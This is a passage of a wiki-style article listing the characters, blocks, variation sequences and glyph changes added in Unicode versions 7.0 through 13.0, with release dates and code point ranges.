* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
